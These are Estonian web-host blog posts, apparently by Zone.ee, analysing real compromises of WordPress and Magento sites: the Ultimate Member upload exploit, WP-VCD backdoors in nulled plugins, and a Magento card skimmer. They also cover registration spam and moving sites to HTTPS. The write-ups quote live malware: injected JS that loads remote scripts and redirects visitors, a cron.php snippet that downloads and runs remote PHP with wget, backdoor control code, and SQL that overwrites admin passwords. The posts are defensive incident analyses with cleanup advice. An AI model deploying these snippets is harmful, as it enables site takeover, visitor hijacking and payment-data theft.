Kolme päevaga turvapaigast rünneteni: Ultimate Member

Veebirakenduste ja nende pluginate-teemade turvapaikamisega tuleb tegeleda sagedamini kui kord kuus või nädalas, sest parandusega versiooni avaldamise järel on õnneotsijad mõne päevaga platsis.

Enne kui lugema hakkad – kui sinu WordPress kasutab Ultimate Member plugina versiooni, mis on vanem kui 2.0.23, siis palun uuenda see jooksuga ära!
09.08.2018 paigatud turvaprobleemi ärakasutamine on käimas ning esimesed meile silma hakanud veebid said pihta 12.08.2018 öösel (mujal on nähtud ründeid ka enne paikamist). Seejärel uuri postituse lõpust kuidas tagada, et pluginad edaspidi ise uueneksid.

Seekordne näide jõudis meieni ühest veel nädal tagasi igati turvalisena tundunud veebist, mis üleöö hakkas külastajaid sellisele veebilehele suunama:

Vaadates failide muutmise aegu, hakkab silma üks öine komplekt:

Nagu näha, siis on tehtud muudatused kõigi teemade päistele viitavates failides… Ning enne seda on justnagu ultimatemember alla midagi üles laetud. Ja see midagi – on .php fail, lisaks mingi t. Vääääga põnev!

Vaadates sama kellaaega veebiserveri logifailis, avaneb järgnev pilt (IP on tõenäoliselt kompromiteeritud server OVH farmis):

Süvenemata detailidesse võib oletada, et POSTis olevad parameetrid koostöös referreriga site.com/wp-admin/admin-ajax.php (lisapunktid site.com eest, pole vaja ründe näidiskoodi sudima hakata!) annavad kasutajapildi postitamiseks vajaliku ühekordse liisu ehk nonssi (nonce) ning siis saadetakse /um-api/route/um!core!Files/ajax_image_upload kaudu üles “pildilaadne toode”, täpsemalt .php laiendiga GIF (häälda korrektselt!), mille sees on PHP kood:

GIF ise on väga nunnu, aga nagu näha, siis laeb Pastebin’ist alla sisu, millest saab t fail – see aga tegeleb *head*-nimeliste failide otsimisega ning lisab neisse lingi pahatahtlikule JS failile (olgu öeldud, et lisaks shell_exec versioonile on allpool sama realiseeritud ka puhtalt PHPs, juhuks kui esimene variant ei õnnestu):

Aga ka see pole veel kõik – koodijupp läheb ka /wp-includes/js/jquery/jquery.js algusesse, juhuks kui keegi peaks teema ära puhastama:

Ääremärkus: kui sul on nt mõne cache-plugina poolt seatud javascriptide puhverdamine brauseris (tavapärane SEO-soovitus), siis kuvatakse häkitud saiti külastanutele vana versiooni veel pikka aega. Lihtne nipp on paigaldada ja aktiveerida Zone Cachebuster plugin, mille just tekitasin: see asendab JS ja CSS failide versiooni-parameetri räsiga, mis kasutab wp-config.php‘s olevat soola (ning soolad tasuks pärast ründekahtlust nii ehk naa ära vahetada).

See eeduelements’i jquery.js ei ole aga teps mitte see, mida nime järgi võiks oletada. Pärast väikest de-obfuskeerimist avaneb meile selline pilt ja näeme ära ka URLi, kust saab teada “reklaamitava” sihtmärgi:

function httpGet(url) {
  var $httpBackend = new XMLHttpRequest;
  $httpBackend.open("GET", url, false);
  $httpBackend.send(null);
  return $httpBackend["responseText"];
}
var curdomain = "https[:]//src.eeduelements[.]com/get.php";
var newlink = httpGet(curdomain);
if (newlink != "null") {
  (function() {
    var artistTrack = document.createElement("script");
    artistTrack.type = "text/javascript";
    artistTrack.async = true;
    artistTrack.src = newlink;
    document.head.appendChild(artistTrack);
  })();
};

Kas me võiks juba sihile jõuda, palun? OK-OK, paneme kaheksaks tunniks küpsise ja saadame külastaja parematele jahimaadele (kus ta saab praktiseerida uluk-, mitte jahimees-olemist):

if (/(^|;)\s*simtel=/.test(document.cookie)) {
} else {
  document.cookie = "simtel=1; max-age=" + 60 * 60 * 8;
  var t1 = "http[:]//murieh[.]space/?h=930130016_dc950a456f7_100&h_l=&h_5=sub_id_2&h_2=def_sub";
  document.location.href = t1;
  window.location.href = t1;
};

Kuidas puhastada?

Kui tegemist on täpselt sama ründega, siis:

  • uuenda Ultimate Member plugin;
  • kustuta /wp-content/uploads/ultimatemember/temp kataloogi sisu (NB: lisatud 16.08.2018, tx Henri tähelepanu juhtimast!)
  • kustuta tarbetud teemad;
  • kasutusel oleva teema alt otsi muudetud *head*-nimelisi faile, eemalda sinna lisatud võõra skripti link;
  • korista /wp-includes/js/jquery/jquery.js algusesse lisatud jupp, nt asendades selle puhtast WP paigaldusest võetuga;
  • kui sul on (nt .htaccess abil) lisatud Expiry päised (nt: ExpiresByType text/javascript "access plus 1 month"), siis lisa ja aktiveeri Zone Cachebuster;
  • kui sul on kasutusel mõni cache-plugin , siis tühjenda cache;
  • pärast rünnet alati: uued WP soolad, andmebaasiparooli vahetus, vaata üle kasutajabaas (eemalda kahtlased), vaheta admin-kasutajate paroolid.

Loomulikult võib nii selle kui ka teiste rünnete puhul kirjutada ka info@zone.ee ja meie tehnikutelt puhastamise tellida. Kui tegemist on teadaoleva skeemiga, siis on meil teada ka efektiivne puhastusviis. Kui on uus rünne, siis saame oma kollektsiooni uue näite ning saame teisi potentsiaalseid ohvreid ette hoiatada.

Kuidas tagada, et pluginad (ja WP) alati uuendatud saaksid?

Ülalkirjeldatud probleemi põhjustas plugin, mis oli alla ühe nädala uuendamata. Kurjategijad peavad aga uuendustel silma peal ning selgitavad turvapaiga avaldamist märgates kiiresti välja lapitud augu ärakasutamise viisi ning annavad kõikide teadaolevate WP-saitide pihta tuld: kõigepealt skann “kas plugin on olemas?” ning kui sellele on vastuseks “jah”, siis toimub automaatne sissemurdmine ja sait pannakse tegema “mida vaja”.

Mina seadistan oma WordPressid automaatselt uuendama nii WPd ennast (sh major versioone – vaikimisi paigaldatakse ainult väiksemad ehk minor uuendused) kui ka pluginaid, pannes paar rida koodi teema functions.php faili või kasutan mikropluginat Zone Updateall. Huviline leiab ametlikust pluginateegist otsinguga update ka hulga fääntsimaid lahendusi

Tasuliste pluginate-teemade puhul on enamasti vaja hoolitseda litsentsinumbri sisestamise eest… Või siis nõuab uuendamine mitte-standardset protsessi või vastavat lisapluginat.

WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Magento ja krediitkaardivarastaja (ja andmekaitse üldmäärus)

Veebipood on küberkurjategijatele hea koht väärtusliku info kogumiseks, sest sinna sisestavad kasutajad nii aadressi kui ka makseinfo. Piisab süütuna näivast skriptist, et ostu vormistamisel sisestatud info “kuhu vaja” edasi saata.

2016. aasta sügisel said mitmed Magento e-poed täpselt sellise pahavaraga pihta, Eestis oli nende hulgas näiteks Jysk. Monitoorides Zones majutatud veebe, hakkas mulle täna silma sarnane skript, mida laetakse näiliselt Magentoga seotud domeenilt (pikem nimekiri kasutusel olnud domeenidest Willem de Groot’ilt):

<script type='text/javascript' src='https://magentocore[.]net/mage/mage.js'></script>

Skript näeb aga välja üsna kahtlane ja esmamuljet kinnitab ka Virustotal:

jsnice.org teeb selle veidike loetavamaks:

Punased stringid viitavad chekout-vormi väljadele nagu krediitkaardinumber, kehtivus ja arveaadress ning need saadetakse kenasti magentocore[.]net aadressil asuvale vormile edasiseks ärakasutamiseks.

Ääremärkus: enamus Eesti e-poode kasutab makselahendusena õnneks välist teenust ja krediitkaardiandmete sisestamine toimub mujal. Küll aga olen näinud ka poode, mida see probleem võiks puudutada. Täna leitud poed said juba ka isiklikult e-posti teel teavitatud.

Ääremärkus 2: … aga kurjategijad on poes sees ja isegi juhul, kui ei varastata krediitkaardiandmeid, siis on neil ligipääs kasutajate isikuandmetele ehk andmekaitse üldmääruse (GDPR) mõttes on tegemist vähemalt potentsiaalse isikuandmete lekkega.

Mis mulle aga eriti meeldis ühe täna leitud häki juures, oli muudatus cron.php’s ehk failis, mida süsteem iga 5 minuti takka käivitab:

shell_exec("wget -c https://magentocore[.]net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore[.]net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");
unlink('./app/code/core/clean.php');
unlink('./app/code/core/clear.php');

Ehk siis perioodiliselt laetakse alla ja käivitatakse mingit koodi. Mida see teeb? Mõlemad otsivad üles Magento andmebaasi-konfiguratsiooni ning siis teevad seal järgmist:

  • clean.php otsib konfiguratsioonitabelist (võõraste?) skriptide signatuure ja kustutab need ära (olgu öeldud, et skriptid on paigaldatud Magento adminnis oleva päise- ja jaluseskriptide seadistuse kaudu):
mysqli_query($link, "delete from " . $db_prefix . "core_config_data where value like '$sing'");
  • clear.php aga muudab ära hulga (teiste ründajate loodud?) admin-kasutajate paroolid:
$users = array('1','1468177885','1470303373','a','aborman','acid','admin01','admin1','admin123','admin5','adminhendra','adminnew','adminray','admins','adminu','admin_bfei','admin_ihfb','afletcher','ajen','alexgvn123','alif','ameendering','Ameliaaa','an','anin48','anjeng','anjeng12','Anr_01','ardyan','as','asdasd','astroeh','asu123','asuasu','asulan123','Audi','azer','aziz','Backup','backup_35f69d','badcc','bangsat','berandal','bgades','bgross','biji','bschlotter','bwilson','c0krek','cahyodp','camuv1653','casa','cbaker','cecun','cevans','cgcf','cgreenfield','cknobloch','clayser','ClayX404','cmorgan','coco','codex','coq','cruis','cvanstryland','cwarton','d','dalexander','ddoine','Death','dede','dedeganteng','default123','defaults','defaults01','defaut123','design','developer','dhsjcsc','diablox','Dian2206','dkelly','dlc','dmorgan','dpender','dsacks','dstefan','eCommerce','edorr','ehooser','einlow','ejameson','ekennedy','erik','erobinson','eznt@i.ryanb.com','family','faqih212','FathurFreakz','ferdi123','fikrihaikal35','forme','frozen404','fwilde','geizkayusuf','gfd','ggrav','ghaz','gigihmhd','gladz','gmr','golix19','GolixGates1','google','gustaman','haydar','haydra','hell','hiddenymouz','hornetto','hunter2','hydro','Hysoka','i','ibizta','iko','indoxploit','iniadmin','irfan','jaja','jancok','jancoks','janderson','jayzweed','jbonnell','jdragovich','jefri','JelexCrew','jengel','jhemphill','jhogan','jhult','jmartin','jockerdz','jonson','jtappe','juancok','katon','kedaong','kehise','kenta','khise','khoogers','kimak','kimyounsin','king','kkruger','kmagnan','knap13','knelson','Kontol900!','kotack','kuyas','kwwilliams','kwynia','lalapo123','LastTouch','lluethje','localsystem','Loic','lthummagunta','lucu','m4tr1x','madmax','maganeto','magento','magento1','mageplas','magsupport','malang','manggo','manick','masthio01','mcopa','meldred','Memekl3g17','mgonzalez','mind','mlaudenbach','mlomo','momo','moza','mperry','mranupak','mrsakso','msas','msf','msivalingam','mtrudell','mturico','mwaldner','mwelbig','mwendt','nathan','nbrouwer','ncastelli','neqyns13','ngentod','ngentot123','nmccray','nnordman','noob','novara','nrussell','nzero','o','omyo123','ouni','owadmin','pak','paypal','pbk7695K@','penggunalayanan','pikri','policy','pujasucipto','putra7695K','r0cky','rami','rctioke7','rcummings','rdewolfe','restuser','revian29','rezafirdaus','rezafirdaus21','rhaan','Rieqy','rieqyns13','rkm48','rmiller','robert','Root','rseeker','s','sadmin','samikom','sav.admin','saz','sdunham','semprol','sgood','sgoodman','shansen','shayer','sheinz25','Shor7cut','Sihdaunix','sjohnson','slackerc0de','slamusga','smolix','soliro','ss123','staff.developer','stores','stupid','Support','surya','surya1','svandenheuvel','swhite','sysadm','sysadmiin','sysadmin','sysadmin1','sysmon','system32','systemadmin','systembackup','T1KUS90T','tadamec','tae','tamedeo','tanderson','task','teastmond','telgersma','terserah','tesdar','test','tfgh','Thole129','tomhawk','training','tvanhouten','ubehera','ui','upel666','uSer','VHiden133','vpotter','wajixz','wawa','wew','ybickham','youmisscry','ywigaraa','zadmin','zaz','ziko','zxc','zxcyou636','_admin','gogle','Nexcess');

$users_password = "how1are2you3";
[.....]
mysqli_query($link, "update " . $db_prefix . "admin_user set password='$hash' where username = '$u'");
[.....]

Olgu öeldud, et how1are2you3 saab ka prefiksi ja sufiksi, nii et päris selle näite varal pole mõtet hakata samal moel häkitud saite läbi proovima 🙂

Vaatame parem admin-kasutajate tabelisse:

Nagu näha, on äsja lisatud uusi kasutajaid … ning ka olemasolevate kasutajate – sh saidi omaniku, admini ja arendaja omad, on muudetud samaks viimase ründaja omaga, sest parooli-räsid on samad (algusega af… on seejuures lihtsalt ühe lisatud kasutajanime räsi).

Kuidas see küll võimalik saab olla? Hold my beer while I call Magereport!

See on nüüd küll demonstratiivselt mage raport – paigaldamata on isegi 2015 suvel väljastatud turvapaigad… ma ei hakka isegi oletama, et millise kaudu neist täpselt sees käiakse.

Ülejäänud asjaomastest saitidest leitud tagauksed olid üsna igavad ning neid ei ole mõtet siinkohal esitleda.

Kui satud sellist saiti puhastama, siis:

  • uuendused, uuendused, uuendused;
  • leia üles ja eemalda tagauksed (ei pruugi olla kerge töö, sest tõenäoliselt trallib seal juba eiteamitmes kuritegelik seltskond);
  • vaata üle adminnkasutajad, eemalda kahtlased, reseti allesjäänute paroolid;
  • vaheta SQL paroolid – jagatud serveri puhul piisab kurjategijal muidu ligipääsust phpMyAdmin’ile, et endale jälle sobiv adminniparool seada…

Spämm läbi Magento uue kliendi tervituskirja

Viimasel ajal on sagenenud Magento e-poe kliendikontode registreerimise vormi kasutamine spämmi saatmiseks: nimeks pannakse kuni 255 tähemärki teksti ning e-postiks soovitud adressaat, kohale toimetab selle aga uue kliendi tervituskiri.

Avastasime selle probleemi, kuna enamus spämmist oli suunatud Venemaale ning posti kohaletoimetamine mail.ru aadressidele häiritud. Parema spämmituvastuse rakendamisel ja veebiservitest kirjade saatmist piirates tulid esile nimelt Magento 1.x kasutavate e-poodide domeenid.

Tegemist ei ole seejuures klassikalise nõrkusega koodis, samuti ei ole vaja karta, et keegi oleks poodi sisse häkkinud: lihtsalt üks vajalik funktsionaalsus on osutunud ärakasutatavaks ja selle turvalisusega seotud vaikesätted liiga nõrgaks.

Magento klientide halduses näeb ühe kampaania spämm välja selline:

Siht-veebina on nimelahtris olevas tekstis osavalt ära kasutatud Google “I feel lucky” funktsionaalsus ja spetsiifilisele märksõnale optimeeritud saidid, mistõttu ei tundu ka link spämmifiltritele kahtlane (allolevat näidet on turvaline klikkida, piltidel olevaid mitte):

https://www.google.ee/#btnI=koli-suveks-meile&q=zone%20virtuaalserver

Kuidas see sind mõjutab?

Kui meie jaoks on probleemiks väljuva spämmi ohjeldamine ning teiste klientide posti kohaletoimetamise tagamine, siis poodniku jaoks on lugu hullem:

  • serverist e-posti saatmise piiramisel ei lähe kohale ka tellimused, parooli-vahetuse kirjad jms teavitused;
  • spämm saadetakse välja e-poe domeenilt, tõenäoliselt mõjutab see spämmifiltrite tööd mitmetes e-postisüsteemides;
  • tagasipõrkav post võib ummistada poodniku postkasti.

Kuidas ennast spämmi-bottide eest kaitsta?

Kliente ei registreeri mõistagi keegi käsitsi, vaid seda tehakse skriptidega, mis postitavad vajalikud andmed otse veebirakendusse (POST /customer/account/createpost/). Sellise ründe vastu kaitsmiseks sobib hästi CAPTCHA robotilõksu lahendamise nõue.

Magento CAPTCHA (võib olla ebapiisav)

Osade allikate väitel võib olla abi Magento enda CAPTCHAst (olemas versioonist 1.7), kui see on piisavalt rangeks seadistatud. Admin-paneelis tuleb selleks minna System -> Configuration -> Customer Configuration -> CAPTCHA valikusse ja panna paika:

  • Enable CAPTCHA on FrontendYes
  • Forms – vali ainult Create User
  • Displaying ModeAlways
  • Number of Symbols – võib olla vaja suurendada

Tulemuseks on selline lisaväli registreerimisvormil.

Kuna enamus kliente registreerub ostuprotsessi käigus ja Register during checkout pole valitud, siis ei tohiks CAPTCHA oluliselt müüki mõjutada ning selle võiks peale panna nüüd ja kohe, sest pärast spämmirahe alla sattumist tegutsema hakates on osa kahju juba tehtud ning kliendibaas vajab puhastamist.

Amasty Google invisible reCaptcha (tasuline, töötab kontrollitult)

Kuivõrd Magento CAPTCHA pole eriti inimsõbralik ja osade rünnete osaks pidavat olema ka selle pealt teksti tuvastamine, siis tasuks eelistada tasulist lahendust ja reCaptcha’t. Nii Magento 1.x kui ka 2.x jaoks on saadaval Amasty Google invisible reCaptcha, mis maksab vastavalt 45 või 65€. Seda on kasutanud mitmed arendajad meie juures olevate Magentode kaitsmiseks ning tulemus on siiamaani olnud positiivne.

Spämm-kasutajate kustutamine

Kui spämmi saatmine on juba toimunud, siis tuleks tuhanded loodud kasutajad ka ära kustutada. Sonassi veebis on viide selleks sobilikule shelliskriptile (see on käivitatav käsurealt, mitte veebist) ning selle kasutamisõpetus.

Mida veel teha saaks?

Kui arendajal on sinu pood juba ette võetud, siis tasuks samasse töökäsku panna ka Magento ja kõikide lisade uuendamine, sest eriti just 1.x puhul on aastate jooksul ilmnenud rida probleeme, mis lubavad kurikaeltel nii adminnina sisse logida kui ka neile meelepärast koodi käivitada (mõlemal puhul on tulemuseks poe täielik ülevõtmine).

Hetkel värskeima versiooni leiad muudatuste logist:

Oma Magento turva-auke saab tasuta skannida MageReport abil. See ei pruugi alati anda täpset tulemust, küll aga on teaduslikult tõestatud, et punaste hoiatuste nägemine aitab leida uuenduste tegemiseks vajalikku raha.

Ja loomulikult HTTP “pole turvaline” ehk kuidas veeb HTTPS peale suunata?  (sealt leiab viite ka Magento seadistamise juhendile ja videole).

HTTP “pole turvaline” ehk kuidas veeb HTTPS peale suunata?

Google on võtnud eesmärgiks jõuda 2018 aasta lõpuks olukorrani, kus turvaline HTTPS ühendus on standard mida ei pea brauseri aadressi-ribal eraldi esile tooma. Sellega kaasneb paraku see, et ebaturvalist HTTP-ühendust kasutavad veebid saavad endale külge märke “Pole turvaline”.

Sellist teadet hakkab kuvama juba juulis ilmuv Google Chrome versioon 68:

Oktoobris ilmuvas Chrome versioonis  70 saab see teade olema ka punasega esile toodud, kui kasutaja veebilehel midagi sisestama hakkab:

Midagi uut selles ei ole, näiteks 2017 jaanuaris oleme kirjutanud blogis Chrome 56, “Not Secure” HTTP ja kuidas kolida HTTPS peale ning makseandmeid käsitlevate veebide puhul nõutakse juba ka HTTPS puhul vanemate standardite välistamist:  30. juunist jõustub e-kaubanduse jaoks oluline HTTPS nõue. Kuigi meie serverite liiklusest on üle poole HTTPS, kasutab umbes 2/3 meie (väiksemate) klientide veebidest endiselt HTTP-ühendust.

Miks HTTPS vajalik on?

Turvamata ühenduse puhul on näiteks WiFis võimalik salvestada kõik kasutaja brauseri ja serveri vahel liikunud info, sh kasutajanimed ja paroolid, samuti on mitmeid võimalusi kasutaja võlts-lehele suunamiseks. See pilt on tehtud salvestades WiFi-liiklust:

Kuidas HTTPS veebiühendust kaitseb?

Kahel moel:

  1. veebibrauseri ja serveri vaheline side krüpteeritakse (šifreeritakse)
  2. enne iga ühenduse loomist kontrollib brauser, et ta suhtleks ikka õige serveriga – sest kui liiklust saab “pealt kuulata”, siis saab ilmselt ka “vahele rääkida”

Kuidas oma veeb turvalise HTTPS peale suunata?

Me oleme proovinud kõik HTTPS kasutuselevõtuga seonduva võimalikult lihtsaks teha ja ära automatiseerida. Enamus järgmistest sammudest tähendab vaid ühte klõpsu Minu Zone iseteeninduses:

  1. TLS sertifikaati tellimine – me toetame tasuta Let’s Encrypt sertifikaate, nende väljastamine ja uuendamine on täielikult automatiseeritud. Kas aga tasuta on piisavalt hea? Sama sertifikaati kasutab näiteks Majandus- ja Kommunikatsiooniministeerium, seega kui sobib valitsusasutusele sobib ka Sulle!
  2. Veebiserveri seadistamine selle sertifikaadi ja HTTPS ühenduse kasutamiseks. Automatiseeritud!
  3. Veebirakenduse (WordPress, Magento jt) seadistamine võib vajada veidike seadistuste muutmist ja teatavatel puhkudel ka pisiparandusi koodist. Vaata allolevaid juhiseid ja kui hätta jääd, kirjuta info@zone.ee (hüva nõu saame jagada niisama, aga kui on reaalselt vaja aega panustada, siis küsime tunnihinda).

Me oleme teinud üksikasjalikud juhised levinumate veebirakenduste seadistamiseks mis sisaldavad nii punkt-haaval lahti kirjutatud tegevusi kui video-õpetust:

Erijuhendita rakenduste puhul võib alustada nupust Suuna liiklus HTTPS peale:

Sertifikaadi tellimine ja aktiveerimine võtab reeglina umbes 10 minutit aega. Kui see ei õnnestu või veeb uues olukorras ei toimi, saab suunamise samast välja lülitada, veeb jätkab tööd HTTP ühenduse peal ning HTTPS korda tegemisega võib rahulikult edasi tegeleda.

Kui täis-automaatne protsess riskantne tundub, siis võib mõistagi ka lisada Let’s Encrypt sertifikaadi, veenduda ca 10 minuti pärast HTTPS toimimises, teha veebirakenduses muudatused ja seejärel lisada kogu liikluse suunamise:

Ja nagu öeldud – kui tekib küsimus, siis võid kasutada postituse kommentaare või kirjutada info@zone.ee ja nõu küsida. Aga võid tulla ka meie help-zone Slack’i chatti 😉